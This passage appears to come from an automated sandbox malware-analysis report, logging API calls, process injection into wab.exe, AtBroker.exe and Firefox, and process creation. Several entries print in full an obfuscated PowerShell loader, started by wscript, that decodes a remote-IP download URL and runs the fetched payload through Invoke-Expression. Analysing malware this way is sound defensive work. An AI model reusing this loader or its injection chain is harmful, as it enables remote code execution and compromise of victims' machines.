Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	NtQueryInformationToken: Direct from: 0x76EF2CAC	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	NtCreateFile: Direct from: 0x76EF2FEC	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	NtOpenFile: Direct from: 0x76EF2DCC	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	NtTerminateThread: Direct from: 0x76EF2FCC	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	NtOpenKeyEx: Direct from: 0x76EF2B9C	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	NtSetInformationProcess: Direct from: 0x76EF2C5C	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	NtProtectVirtualMemory: Direct from: 0x76EF2F9C	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	NtWriteVirtualMemory: Direct from: 0x76EF2E3C	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	NtUnmapViewOfSection: Direct from: 0x76EF2D3C	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	NtNotifyChangeKey: Direct from: 0x76EF3C2C	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	NtCreateMutant: Direct from: 0x76EF35CC	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	NtResumeThread: Direct from: 0x76EF36AC	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	NtMapViewOfSection: Direct from: 0x76EF2D1C	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	NtProtectVirtualMemory: Direct from: 0x76EE7B2E	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	NtAllocateVirtualMemory: Direct from: 0x76EF2BFC	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	NtQuerySystemInformation: Direct from: 0x76EF2DFC	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	NtReadFile: Direct from: 0x76EF2ADC	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	NtDelayExecution: Direct from: 0x76EF2DDC	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	NtQueryInformationProcess: Direct from: 0x76EF2C26	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	NtResumeThread: Direct from: 0x76EF2FBC	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	NtCreateUserProcess: Direct from: 0x76EF371C	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	NtAllocateVirtualMemory: Direct from: 0x76EF3C9C	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	NtWriteVirtualMemory: Direct from: 0x76EF490C	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	NtSetInformationThread: Direct from: 0x76EE63F9	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	NtClose: Direct from: 0x76EF2B6C
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	NtSetInformationThread: Direct from: 0x76EF2B4C	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	NtReadVirtualMemory: Direct from: 0x76EF2E8C	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	NtCreateKey: Direct from: 0x76EF2C6C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: NULL target: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe protection: execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	Section loaded: NULL target: C:\Program Files (x86)\Windows Mail\wab.exe protection: execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	Section loaded: NULL target: C:\Windows\SysWOW64\AtBroker.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: NULL target: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: NULL target: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\AtBroker.exe

Thread register set: target process: 5008

Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\AtBroker.exe

Thread APC queued: target process: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 2E90000			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 2E7FC70			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Offence = 1;$Rabbitriesnterimsstyre='Substrin';$Rabbitriesnterimsstyre+='g';Function adskilligt($Tegnedatabasen){$Bejig=$Tegnedatabasen.Length-$Offence;For($Rabbitries=1; $Rabbitries -lt $Bejig; $Rabbitries+=(2)){$Foundlings+=$Tegnedatabasen.$Rabbitriesnterimsstyre.Invoke($Rabbitries, $Offence);}$Foundlings;}function Apalachicola($Specieskbenes){&($milleardtedele) ($Specieskbenes);}$Folkedemokrati=adskilligt 'IMHoAzAi.l l,aO/ 5 .T0W S(,W,iUn,dgoBw,sH SNDTe .1H0P.G0,; RWPi nN6R4 ;N xM6T4K;, CrUv :R1M2G1 . 0C) BGVe,cEkBo,/,2 0,1,0 0E1L0 1, LFUiTr.enfko,xs/ 1A2U1Y.,0L ';$Godsterminalers=adskilligt 'hUPsMe rT-.AAgUe,n tG ';$Discredit=adskilligt 'Ghtt tJp :M/,/.8,7F. 1.2,1..U1 0 5S.M1A6P3C/ AKc a riiFa,t,r eA4S3,. cbhBm ';$Trlbundnes=adskilligt ' >M ';$milleardtedele=adskilligt 'TiUe.x ';$Phillipeener = adskilligt ' eScSh oS R%HaUp pEd ast aL%,\ B.aBl lHe pNrAeUsFs e r.e.s,. IfnNe K&E&M We.cAhSok .$ ';Apalachicola (adskilligt ' $MgRlFoUb aKl :MGMeBrCmKiEf.uUgBe.= (,cTmHdV /HcE .$UP hTiUl.lPiUpPe eSn.eDrA), ');Apalachicola (adskilligt 's$,g l,o b aKlv:IBAaFrFrFa m uTnMdpaZsP= $ D i sNcUr eVd iFtS.TsLpSlDiTtU( $,T.r lFb,uEn dQn eNs )S ');$Discredit=$Barramundas[0];Apalachicola (adskilligt 'p$ gEl.oKbTaNlF: o,vUerr gBe nKe.r a.l i z iUnRg =,N,eSw -.O b jTe cUtP .SFyus.tBevmD. N eEtG.sWBeFbOC.lKi eSnFt ');Apalachicola (adskilligt 'W$ o.v e.rLgMeMn.eUrJaGlDiPz iPn gP. H eNaGdAe,rDsA[ $PGEo d sPtAe.r,mBiMnUa lje,r sA]T=U$.F o.l kSeRd e,mGoOkFrPa tPi ');$Lordlily=adskilligt 'DoRv eArHgueRn.eSrKaSl iDzPiGn g .,DSoTwFn,l.oBaRd F iSlHeP( $ D i,sBc rSe.dHittK,I$,O z,oPn.iTc,), ';$Lordlily=$Germifuge[1]+$Lordlily;$Ozonic=$Germifuge[0];Apalachicola (adskilligt 'n$,g.l oSb a.la:Rf,eTrKsTk vLa n d,e n,eB=C(,T eVsSt -WPEa tIh $MO z,oEn,iWc ) ');while (!$ferskvandene) {Apalachicola (adskilligt ' $ g lVo bOaHl :FcRoum.p l e,m e,nAt eIr.= $ tJr u eB ') ;Apalachicola $Lordlily;Apalachicola (adskilligt ' S.t a,rRtM- SDlLeNe.p 4T ');Apalachicola (adskilligt ' $Fg l,o b a l :Ff,e r sTkAv a nOd.eTn e,= (TTSe.s t -LPTaLtHh C$SO zBo.nIiOcA) ') ;Apalachicola (adskilligt 'U$ g l o bHaKl : E n eMr,vSeTrTeS=R$BgSl oBb.a.lH:FT eOr m o m eMtEr.e.n.eF+,+ % $ BPa r r a m uBnAdNa s .ScKoBuCn ts ') ;$Discredit=$Barramundas[$Enervere];}Apalachicola (adskilligt 'u$SgOlWo,bCaNl : FTiTrTeFlTo c kLs ,=. UG eTtT-OC,o nRtle,nAt $FO,z o.nEiIcA ');Apalachicola (adskilligt ',$Cg l oAbpaClP: LHiPt tPe rHa t uMrIl i.s t e nE1U4N M=D [.S.y.s.tKe mr.,CIo,nTv e r,t,]F:D: F rAo.m.B a.sSeB6T4,SEt rSiSn g,( $MF iGrRePlio cSk sM)N ');Apalachicola (adskilligt 'G$Jg,lLoGbDaTl :sV eEr b iBg eVr a tHi n.gB B=A [RSWyEs.t e,ms. TLefx tC. EKn cNoOdEitnMg ],:K:KA SPC IUIT. G,eCt S tNrmi nPg (U$ LAiGtEt e rvaEt uMrRl i.sTt e ne1B4.)S ');Apalachicola (adskilligt 'N$.g.lMoVboaSl.: Kta r r i e r e.r nDeS1 5 8S= $OV eRrPbAi g e,r aQt,i,nHgN. sBuRb sHtMr iPnRgL( 3 3B6T3 9 4,,.2B5	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Ballepresseres.Ine && echo $"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Offence = 1;$Rabbitriesnterimsstyre='Substrin';$Rabbitriesnterimsstyre+='g';Function adskilligt($Tegnedatabasen){$Bejig=$Tegnedatabasen.Length-$Offence;For($Rabbitries=1; $Rabbitries -lt $Bejig; $Rabbitries+=(2)){$Foundlings+=$Tegnedatabasen.$Rabbitriesnterimsstyre.Invoke($Rabbitries, $Offence);}$Foundlings;}function Apalachicola($Specieskbenes){&($milleardtedele) ($Specieskbenes);}$Folkedemokrati=adskilligt 'IMHoAzAi.l l,aO/ 5 .T0W S(,W,iUn,dgoBw,sH SNDTe .1H0P.G0,; RWPi nN6R4 ;N xM6T4K;, CrUv :R1M2G1 . 0C) BGVe,cEkBo,/,2 0,1,0 0E1L0 1, LFUiTr.enfko,xs/ 1A2U1Y.,0L ';$Godsterminalers=adskilligt 'hUPsMe rT-.AAgUe,n tG ';$Discredit=adskilligt 'Ghtt tJp :M/,/.8,7F. 1.2,1..U1 0 5S.M1A6P3C/ AKc a riiFa,t,r eA4S3,. cbhBm ';$Trlbundnes=adskilligt ' >M ';$milleardtedele=adskilligt 'TiUe.x ';$Phillipeener = adskilligt ' eScSh oS R%HaUp pEd ast aL%,\ B.aBl lHe pNrAeUsFs e r.e.s,. IfnNe K&E&M We.cAhSok .$ ';Apalachicola (adskilligt ' $MgRlFoUb aKl :MGMeBrCmKiEf.uUgBe.= (,cTmHdV /HcE .$UP hTiUl.lPiUpPe eSn.eDrA), ');Apalachicola (adskilligt 's$,g l,o b aKlv:IBAaFrFrFa m uTnMdpaZsP= $ D i sNcUr eVd iFtS.TsLpSlDiTtU( $,T.r lFb,uEn dQn eNs )S ');$Discredit=$Barramundas[0];Apalachicola (adskilligt 'p$ gEl.oKbTaNlF: o,vUerr gBe nKe.r a.l i z iUnRg =,N,eSw -.O b jTe cUtP .SFyus.tBevmD. N eEtG.sWBeFbOC.lKi eSnFt ');Apalachicola (adskilligt 'W$ o.v e.rLgMeMn.eUrJaGlDiPz iPn gP. H eNaGdAe,rDsA[ $PGEo d sPtAe.r,mBiMnUa lje,r sA]T=U$.F o.l kSeRd e,mGoOkFrPa tPi ');$Lordlily=adskilligt 'DoRv eArHgueRn.eSrKaSl iDzPiGn g .,DSoTwFn,l.oBaRd F iSlHeP( $ D i,sBc rSe.dHittK,I$,O z,oPn.iTc,), ';$Lordlily=$Germifuge[1]+$Lordlily;$Ozonic=$Germifuge[0];Apalachicola (adskilligt 'n$,g.l oSb a.la:Rf,eTrKsTk vLa n d,e n,eB=C(,T eVsSt -WPEa tIh $MO z,oEn,iWc ) ');while (!$ferskvandene) {Apalachicola (adskilligt ' $ g lVo bOaHl :FcRoum.p l e,m e,nAt eIr.= $ tJr u eB ') ;Apalachicola $Lordlily;Apalachicola (adskilligt ' S.t a,rRtM- SDlLeNe.p 4T ');Apalachicola (adskilligt ' $Fg l,o b a l :Ff,e r sTkAv a nOd.eTn e,= (TTSe.s t -LPTaLtHh C$SO zBo.nIiOcA) ') ;Apalachicola (adskilligt 'U$ g l o bHaKl : E n eMr,vSeTrTeS=R$BgSl oBb.a.lH:FT eOr m o m eMtEr.e.n.eF+,+ % $ BPa r r a m uBnAdNa s .ScKoBuCn ts ') ;$Discredit=$Barramundas[$Enervere];}Apalachicola (adskilligt 'u$SgOlWo,bCaNl : FTiTrTeFlTo c kLs ,=. UG eTtT-OC,o nRtle,nAt $FO,z o.nEiIcA ');Apalachicola (adskilligt ',$Cg l oAbpaClP: LHiPt tPe rHa t uMrIl i.s t e nE1U4N M=D [.S.y.s.tKe mr.,CIo,nTv e r,t,]F:D: F rAo.m.B a.sSeB6T4,SEt rSiSn g,( $MF iGrRePlio cSk sM)N ');Apalachicola (adskilligt 'G$Jg,lLoGbDaTl :sV eEr b iBg eVr a tHi n.gB B=A [RSWyEs.t e,ms. TLefx tC. EKn cNoOdEitnMg ],:K:KA SPC IUIT. G,eCt S tNrmi nPg (U$ LAiGtEt e rvaEt uMrRl i.sTt e ne1B4.)S ');Apalachicola (adskilligt 'N$.g.lMoVboaSl.: Kta r r i e r e.r nDeS1 5 8S= $OV eRrPbAi g e,r aQt,i,nHgN. sBuRb sHtMr iPnRgL( 3 3B6T3 9 4,,.2B5	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Ballepresseres.Ine && echo $"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	Process created: C:\Windows\SysWOW64\AtBroker.exe "C:\Windows\SysWOW64\AtBroker.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$offence = 1;$rabbitriesnterimsstyre='substrin';$rabbitriesnterimsstyre+='g';function adskilligt($tegnedatabasen){$bejig=$tegnedatabasen.length-$offence;for($rabbitries=1; $rabbitries -lt $bejig; $rabbitries+=(2)){$foundlings+=$tegnedatabasen.$rabbitriesnterimsstyre.invoke($rabbitries, $offence);}$foundlings;}function apalachicola($specieskbenes){&($milleardtedele) ($specieskbenes);}$folkedemokrati=adskilligt 'imhoazai.l l,ao/ 5 .t0w s(,w,iun,dgobw,sh sndte .1h0p.g0,; rwpi nn6r4 ;n xm6t4k;, cruv :r1m2g1 . 0c) bgve,cekbo,/,2 0,1,0 0e1l0 1, lfuitr.enfko,xs/ 1a2u1y.,0l ';$godsterminalers=adskilligt 'hupsme rt-.aague,n tg ';$discredit=adskilligt 'ghtt tjp :m/,/.8,7f. 1.2,1..u1 0 5s.m1a6p3c/ akc a riifa,t,r ea4s3,. cbhbm ';$trlbundnes=adskilligt ' >m ';$milleardtedele=adskilligt 'tiue.x ';$phillipeener = adskilligt ' escsh os r%haup ped ast al%,\ b.abl lhe pnraeusfs e r.e.s,. ifnne k&e&m we.cahsok .$ ';apalachicola (adskilligt ' $mgrlfoub akl :mgmebrcmkief.uugbe.= (,ctmhdv /hce .$up htiul.lpiuppe esn.edra), ');apalachicola (adskilligt 's$,g l,o b aklv:ibaafrfrfa m utnmdpazsp= $ d i sncur evd ifts.tslpsldittu( $,t.r lfb,uen dqn ens )s ');$discredit=$barramundas[0];apalachicola (adskilligt 'p$ gel.okbtanlf: o,vuerr gbe nke.r a.l i z iunrg =,n,esw -.o b jte cutp .sfyus.tbevmd. n eetg.swbefboc.lki esnft ');apalachicola (adskilligt 'w$ o.v e.rlgmemn.eurjagldipz ipn gp. h enagdae,rdsa[ $pgeo d sptae.r,mbimnua lje,r sa]t=u$.f o.l kserd e,mgookfrpa tpi ');$lordlily=adskilligt 'dorv earhguern.esrkasl idzpign g .,dsotwfn,l.obard f islhep( $ d i,sbc rse.dhittk,i$,o z,opn.itc,), ';$lordlily=$germifuge[1]+$lordlily;$ozonic=$germifuge[0];apalachicola (adskilligt 'n$,g.l osb a.la:rf,etrkstk vla n d,e n,eb=c(,t evsst -wpea tih $mo z,oen,iwc ) ');while (!$ferskvandene) {apalachicola (adskilligt ' $ g lvo boahl :fcroum.p l e,m e,nat eir.= $ tjr u eb ') ;apalachicola $lordlily;apalachicola (adskilligt ' s.t a,rrtm- sdllene.p 4t ');apalachicola (adskilligt ' $fg l,o b a l :ff,e r stkav a nod.etn e,= (ttse.s t -lptalthh c$so zbo.niioca) ') ;apalachicola (adskilligt 'u$ g l o bhakl : e n emr,vsetrtes=r$bgsl obb.a.lh:ft eor m o m emter.e.n.ef+,+ % $ bpa r r a m ubnadna s .sckobucn ts ') ;$discredit=$barramundas[$enervere];}apalachicola (adskilligt 'u$sgolwo,bcanl : ftitrteflto c kls ,=. ug ettt-oc,o nrtle,nat $fo,z o.neiica ');apalachicola (adskilligt ',$cg l oabpaclp: lhipt tpe rha t umril i.s t e ne1u4n m=d [.s.y.s.tke mr.,cio,ntv e r,t,]f:d: f rao.m.b a.sseb6t4,set rsisn g,( $mf igrreplio csk sm)n ');apalachicola (adskilligt 'g$jg,llogbdatl :sv eer b ibg evr a thi n.gb b=a [rswyes.t e,ms. tlefx tc. ekn cnoodeitnmg ],:k:ka spc iuit. g,ect s tnrmi npg (u$ laigtet e rvaet umrrl i.stt e ne1b4.)s ');apalachicola (adskilligt 'n$.g.lmovboasl.: kta r r i e r e.r ndes1 5 8s= $ov errpbai g e,r aqt,i,nhgn. sburb shtmr ipnrgl( 3 3b6t3 9 4,,.2b5
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "$offence = 1;$rabbitriesnterimsstyre='substrin';$rabbitriesnterimsstyre+='g';function adskilligt($tegnedatabasen){$bejig=$tegnedatabasen.length-$offence;for($rabbitries=1; $rabbitries -lt $bejig; $rabbitries+=(2)){$foundlings+=$tegnedatabasen.$rabbitriesnterimsstyre.invoke($rabbitries, $offence);}$foundlings;}function apalachicola($specieskbenes){&($milleardtedele) ($specieskbenes);}$folkedemokrati=adskilligt 'imhoazai.l l,ao/ 5 .t0w s(,w,iun,dgobw,sh sndte .1h0p.g0,; rwpi nn6r4 ;n xm6t4k;, cruv :r1m2g1 . 0c) bgve,cekbo,/,2 0,1,0 0e1l0 1, lfuitr.enfko,xs/ 1a2u1y.,0l ';$godsterminalers=adskilligt 'hupsme rt-.aague,n tg ';$discredit=adskilligt 'ghtt tjp :m/,/.8,7f. 1.2,1..u1 0 5s.m1a6p3c/ akc a riifa,t,r ea4s3,. cbhbm ';$trlbundnes=adskilligt ' >m ';$milleardtedele=adskilligt 'tiue.x ';$phillipeener = adskilligt ' escsh os r%haup ped ast al%,\ b.abl lhe pnraeusfs e r.e.s,. ifnne k&e&m we.cahsok .$ ';apalachicola (adskilligt ' $mgrlfoub akl :mgmebrcmkief.uugbe.= (,ctmhdv /hce .$up htiul.lpiuppe esn.edra), ');apalachicola (adskilligt 's$,g l,o b aklv:ibaafrfrfa m utnmdpazsp= $ d i sncur evd ifts.tslpsldittu( $,t.r lfb,uen dqn ens )s ');$discredit=$barramundas[0];apalachicola (adskilligt 'p$ gel.okbtanlf: o,vuerr gbe nke.r a.l i z iunrg =,n,esw -.o b jte cutp .sfyus.tbevmd. n eetg.swbefboc.lki esnft ');apalachicola (adskilligt 'w$ o.v e.rlgmemn.eurjagldipz ipn gp. h enagdae,rdsa[ $pgeo d sptae.r,mbimnua lje,r sa]t=u$.f o.l kserd e,mgookfrpa tpi ');$lordlily=adskilligt 'dorv earhguern.esrkasl idzpign g .,dsotwfn,l.obard f islhep( $ d i,sbc rse.dhittk,i$,o z,opn.itc,), ';$lordlily=$germifuge[1]+$lordlily;$ozonic=$germifuge[0];apalachicola (adskilligt 'n$,g.l osb a.la:rf,etrkstk vla n d,e n,eb=c(,t evsst -wpea tih $mo z,oen,iwc ) ');while (!$ferskvandene) {apalachicola (adskilligt ' $ g lvo boahl :fcroum.p l e,m e,nat eir.= $ tjr u eb ') ;apalachicola $lordlily;apalachicola (adskilligt ' s.t a,rrtm- sdllene.p 4t ');apalachicola (adskilligt ' $fg l,o b a l :ff,e r stkav a nod.etn e,= (ttse.s t -lptalthh c$so zbo.niioca) ') ;apalachicola (adskilligt 'u$ g l o bhakl : e n emr,vsetrtes=r$bgsl obb.a.lh:ft eor m o m emter.e.n.ef+,+ % $ bpa r r a m ubnadna s .sckobucn ts ') ;$discredit=$barramundas[$enervere];}apalachicola (adskilligt 'u$sgolwo,bcanl : ftitrteflto c kls ,=. ug ettt-oc,o nrtle,nat $fo,z o.neiica ');apalachicola (adskilligt ',$cg l oabpaclp: lhipt tpe rha t umril i.s t e ne1u4n m=d [.s.y.s.tke mr.,cio,ntv e r,t,]f:d: f rao.m.b a.sseb6t4,set rsisn g,( $mf igrreplio csk sm)n ');apalachicola (adskilligt 'g$jg,llogbdatl :sv eer b ibg evr a thi n.gb b=a [rswyes.t e,ms. tlefx tc. ekn cnoodeitnmg ],:k:ka spc iuit. g,ect s tnrmi npg (u$ laigtet e rvaet umrrl i.stt e ne1b4.)s ');apalachicola (adskilligt 'n$.g.lmovboasl.: kta r r i e r e.r ndes1 5 8s= $ov errpbai g e,r aqt,i,nhgn. sburb shtmr ipnrgl( 3 3b6t3 9 4,,.2b5
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$offence = 1;$rabbitriesnterimsstyre='substrin';$rabbitriesnterimsstyre+='g';function adskilligt($tegnedatabasen){$bejig=$tegnedatabasen.length-$offence;for($rabbitries=1; $rabbitries -lt $bejig; $rabbitries+=(2)){$foundlings+=$tegnedatabasen.$rabbitriesnterimsstyre.invoke($rabbitries, $offence);}$foundlings;}function apalachicola($specieskbenes){&($milleardtedele) ($specieskbenes);}$folkedemokrati=adskilligt 'imhoazai.l l,ao/ 5 .t0w s(,w,iun,dgobw,sh sndte .1h0p.g0,; rwpi nn6r4 ;n xm6t4k;, cruv :r1m2g1 . 0c) bgve,cekbo,/,2 0,1,0 0e1l0 1, lfuitr.enfko,xs/ 1a2u1y.,0l ';$godsterminalers=adskilligt 'hupsme rt-.aague,n tg ';$discredit=adskilligt 'ghtt tjp :m/,/.8,7f. 1.2,1..u1 0 5s.m1a6p3c/ akc a riifa,t,r ea4s3,. cbhbm ';$trlbundnes=adskilligt ' >m ';$milleardtedele=adskilligt 'tiue.x ';$phillipeener = adskilligt ' escsh os r%haup ped ast al%,\ b.abl lhe pnraeusfs e r.e.s,. ifnne k&e&m we.cahsok .$ ';apalachicola (adskilligt ' $mgrlfoub akl :mgmebrcmkief.uugbe.= (,ctmhdv /hce .$up htiul.lpiuppe esn.edra), ');apalachicola (adskilligt 's$,g l,o b aklv:ibaafrfrfa m utnmdpazsp= $ d i sncur evd ifts.tslpsldittu( $,t.r lfb,uen dqn ens )s ');$discredit=$barramundas[0];apalachicola (adskilligt 'p$ gel.okbtanlf: o,vuerr gbe nke.r a.l i z iunrg =,n,esw -.o b jte cutp .sfyus.tbevmd. n eetg.swbefboc.lki esnft ');apalachicola (adskilligt 'w$ o.v e.rlgmemn.eurjagldipz ipn gp. h enagdae,rdsa[ $pgeo d sptae.r,mbimnua lje,r sa]t=u$.f o.l kserd e,mgookfrpa tpi ');$lordlily=adskilligt 'dorv earhguern.esrkasl idzpign g .,dsotwfn,l.obard f islhep( $ d i,sbc rse.dhittk,i$,o z,opn.itc,), ';$lordlily=$germifuge[1]+$lordlily;$ozonic=$germifuge[0];apalachicola (adskilligt 'n$,g.l osb a.la:rf,etrkstk vla n d,e n,eb=c(,t evsst -wpea tih $mo z,oen,iwc ) ');while (!$ferskvandene) {apalachicola (adskilligt ' $ g lvo boahl :fcroum.p l e,m e,nat eir.= $ tjr u eb 